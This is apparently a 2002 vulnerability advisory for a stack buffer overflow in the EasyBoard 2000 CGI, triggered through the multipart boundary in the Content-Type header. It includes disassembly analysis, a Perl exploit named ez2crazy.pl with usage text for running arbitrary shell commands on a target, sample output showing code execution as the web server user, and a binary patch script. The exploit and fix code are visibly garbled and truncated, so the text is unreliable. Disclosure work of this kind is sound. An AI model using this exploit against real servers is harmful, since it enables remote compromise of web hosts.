EasyBoard 2000 Remote Buffer Overflow Vulnerability

EasyBoard 2000(http://ezboard.new21.org) is a web board CGI. Improperly
manipulated user-supplied input to the Content-Type header can create
an buffer overflow condition. This vulnerability allows arbitrary remote
code execution with the privileges of the webserver.


Vulnerable version

EasyBoard 2000 1.27xx


3 Vulnerability Analysis

3.1 Analyzed version

ezboard 1.27(BUILD 515) for RedHat 7.0(x86)

You can download it from:

http://ezboard.new21.org/cgi-bin/ez2...d.cgi?db=ez2k/ pds&action=down&dbf
=52&ftype=file&file=ez2k_linux70(x86).zip


3.2 Vulnerable CGIs

Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.

$ strings ezboard.cgi | grep -- "--%s"
--%s
$ strings ezman.cgi | grep -- "--%s"
--%s
$ strings ezadmin.cgi | grep -- "--%s"
--%s

3.3 Analysis of ezboard.cgi

$ objdump -s ezboard.cgi | less

806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T
806ad70 59504500 00000000 00000000 00000000 YPE.............
806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww
806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencode
806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON
806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH.....
806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d
806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=.- "--%s"
804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx
804b001: 53 push %ebx
804b002: e8 89 e5 ff ff call 0x8049590


$ gdb ezboard.cgi
(gdb) disassemble 0x804aff6

0x804af84 : push %ebp
0x804af85 : mov %esp,%ebp
0x804af87 : push %edi
0x804af88 : push %esi
0x804af89 : push %ebx
0x804af8a : sub $0x648,%esp

0x804af90 : mov $0x806adc0,%edi
0x804af95 : cld
0x804af96 : mov $0xffffffff,%ecx
0x804af9b : mov $0x0,%al
0x804af9d : repnz scas %es:(%edi),%al
0x804af9f : not %ecx
0x804afa1 : dec %ecx
0x804afa2 : mov %ecx,0xfffff9e0(%ebp)

delim_len = strlen("multipart/form-data; boundary=");

0x804afa8 : push $0x806ad67 "CONTENT_TYPE"
0x804afad : call 0x8049210
0x804afb2 : mov %eax,%ebx

content_type = getenv("CONTENT_TYPE");

0x804afb4 : lea 0xfffff9e4(%ebp),%eax
0x804afba : mov %eax,(%esp,1)
0x804afbd : call 0x804aee4
0x804afc2 : mov %eax,%esi
0x804afc4 : sub $0x8,%esp

0x804afc7 : push $0x806adc0
0x804afcc : push %ebx
0x804afcd : call 0x8049360

(gdb) x/s 0x806adc0
0x806adc0 : "multipart/form-data; boundary="

delim = strstr(content_type, "multipart/form-data; boundary=");

0x804afd2 : add $0x20,%esp
0x804afd5 : mov %eax,%edi
0x804afd7 : test %edi,%edi
0x804afd9 : jne 0x804afec
0x804afdb : sub $0xc,%esp
0x804afde : pushl 0x806fe6c
0x804afe4 : call 0x804cc2c
0x804afe9 : add $0x10,%esp

0x804afec : add 0xfffff9e0(%ebp),%edi

delim += delim_len;

0x804aff2 : sub $0x4,%esp

0x804aff5 : push %edi
0x804aff6 : push $0x806addf
0x804affb : lea 0xfffffee8(%ebp),%ebx
0x804b001 : push %ebx
0x804b002 : call 0x8049590

char boundary[280];
sprintf(boundary, "--%s", delim);


The disassembled code is like the C code:

parse_multipart()
{
char boundary[280];

...

delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data; boundary=");
delim += strlen("multipart/form-data; boundary=");
sprintf(boundary, "--%s", delim);

...
}

We can see that sprintf() function call can create buffer overflow condition.


4 Exploit

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ez2crazy.pl
#
# Remote Buffer Overflow x86 Linux Exploit for
# CrazyWWWBoard(http://www.crazywwwboard.com),
# EasyBoard 2000(http://ezboard.new21.org) and
# CGIs using qDecoder 4.0~5.0.8
#
# Excessive boundary delimiter string in the header
# "Content-Type: multipart/form-data" permits the buffer overflow attack.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11

$usage =
"usage: ez2crazy.pl [options] CGI-URLn
CGI-URL URL of the target CGI
-c command Bourne shell command
Default: '/bin/echo 00ps, Crazy!;id'
-o offset Offset of the egg shell code,
Recommended [-300,+300]

example)
ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root'
target.com/cgi-bin/vulnerable.cgi

";

use Getopt::Std;
getopt('oc');

if ($#ARGV ) {
print;
}
close(SOCKET);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- example

$ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
HTTP/1.1 200 OK
Date: Sun, 10 Feb 2002 19:08:46 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
Connection: close
Content-Type: text/html

00ps, Crazy!
uid=48(apache) gid=48(apache) groups=48(apache)


5 Vulnerability Fix

The vulnerability can be fixed by replacing sprintf(boundary, "--%s", delim)
with sprintf(boundary, "--%.200s", delim).

The following code fixes the binary programs of EasyBoard 2000 x86 Linux
version.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ezboard-fix.pl
#
# EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
#
# Run this program in the directory where ezboard.cgi exists.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11

LOOP:
for $cgi_file ("ezboard.cgi","ezadmin.cgi", "ezman.cgi") {
if (! -e $cgi_file) {
print "$cgi_file does not exist.n";
next LOOP;
}

$cgi_content=`cat $cgi_file`;

if (index($cgi_content, "EasyBoard 2000") == -1 ||
index($cgi_content, "ld-linux.so") == -1) {
print "$cgi_file is not EasyBoard 2000 for x86 Linux.n";
next LOOP;
}

@obj_header = split(' ', `objdump -h $cgi_file | grep rodata`);
$moff_section = hex($obj_header[3]);
$foff_section = hex($obj_header[5]);
$foff_fmtstr = index($cgi_content, "--%s");
$moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
$foff_push = index($cgi_content, pack("V",$moff_fmtstr));
if ($foff_push == -1) {
print "$cgi_file is already fixed!n";
next LOOP;
}

printf "$cgi_file: '--%%s' = 0x%08x, push '--%%s' = 0x%08xn",
$foff_fmtstr, $foff_push;

open(CGI, "+